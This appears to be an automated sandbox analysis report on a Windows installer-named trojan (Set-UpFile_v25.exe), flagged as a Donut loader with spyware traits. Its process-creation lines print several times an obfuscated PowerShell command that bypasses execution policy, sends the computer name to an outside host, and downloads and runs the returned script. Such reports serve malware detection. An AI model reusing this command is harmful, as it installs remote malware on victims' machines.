Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299C2A2	0_2_0299C2A2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029C4AA2	0_2_029C4AA2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029BE2C2	0_2_029BE2C2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0298B2C2	0_2_0298B2C2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299F2C2	0_2_0299F2C2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02985AF2	0_2_02985AF2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029ABA13	0_2_029ABA13
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299EA34	0_2_0299EA34
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0298A252	0_2_0298A252
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029B0392	0_2_029B0392
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029BCBC2	0_2_029BCBC2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299A3F0	0_2_0299A3F0
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029963E2	0_2_029963E2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0298F338	0_2_0298F338
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02987352	0_2_02987352
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029A3B42	0_2_029A3B42
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029ACB68	0_2_029ACB68
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02984362	0_2_02984362
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029928C9	0_2_029928C9
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299E0FA	0_2_0299E0FA
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0298C8E2	0_2_0298C8E2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029AD811	0_2_029AD811
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029AA872	0_2_029AA872
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029BE862	0_2_029BE862
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029881A2	0_2_029881A2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029AC9F2	0_2_029AC9F2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299D955	0_2_0299D955
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02985142	0_2_02985142
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299A961	0_2_0299A961
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299EEB2	0_2_0299EEB2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299F6C2	0_2_0299F6C2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029A966A	0_2_029A966A
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02988F82	0_2_02988F82
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029A1F80	0_2_029A1F80
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299BFC2	0_2_0299BFC2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029C47F2	0_2_029C47F2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02984742	0_2_02984742
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02998744	0_2_02998744
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029C0F72	0_2_029C0F72
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029934B7	0_2_029934B7
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02993CCF	0_2_02993CCF
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299C4EB	0_2_0299C4EB
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029B3412	0_2_029B3412
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02990C22	0_2_02990C22
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299B442	0_2_0299B442
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029C4442	0_2_029C4442
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029A75D2	0_2_029A75D2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0298ADD2	0_2_0298ADD2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0299FDC2	0_2_0299FDC2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029C4DE2	0_2_029C4DE2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02987D12	0_2_02987D12
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029BD522	0_2_029BD522
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_0298A542	0_2_0298A542

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: String function: 02989B12 appears 66 times
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: String function: 029963D2 appears 38 times

Source: Set-UpFile_v25.exe

Static PE information: invalid certificate

Source: Set-UpFile_v25.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: Set-UpFile_v25.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: Set-UpFile_v25.exe, 00000000.00000003.1767448797.000000000307A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs Set-UpFile_v25.exe
Source: Set-UpFile_v25.exe, 00000000.00000000.1659588874.000000000051F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs Set-UpFile_v25.exe
Source: Set-UpFile_v25.exe	Binary or memory string: OriginalFilenameshfolder.dll~/ vs Set-UpFile_v25.exe

Source: Set-UpFile_v25.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/3@4/2

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

Code function: 0_2_02980A85 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,

0_2_02980A85

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7604:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1unjy0zf.ro1.ps1

Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Set-UpFile_v25.exe, 00000000.00000003.1793222380.0000000003675000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792659491.00000000036A8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Set-UpFile_v25.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: Set-UpFile_v25.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: Set-UpFile_v25.exe	String found in binary or memory: /LoadInf=
Source: Set-UpFile_v25.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

File read: C:\Users\user\Desktop\Set-UpFile_v25.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Set-UpFile_v25.exe "C:\Users\user\Desktop\Set-UpFile_v25.exe"
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;	Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Set-UpFile_v25.exe

Static file information: File size 75060322 > 1048576

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb= source: powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1981135607.0000000006D0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1981556253.0000000006D85000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbl source: powershell.exe, 00000004.00000002.1981556253.0000000006D85000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;			Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02995E52 push ebx; retn 0002h	0_2_02995E5C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F81B1D push esp; iretd	4_2_06F81BBD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F81AE4 push ebp; iretd	4_2_06F81AEA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F81DDF push edx; iretd	4_2_06F81DE5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F81D79 push ebx; iretd	4_2_06F81D7F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F81D5A push ebx; iretd	4_2_06F81D60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F81D21 push ebx; iretd	4_2_06F81D27

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
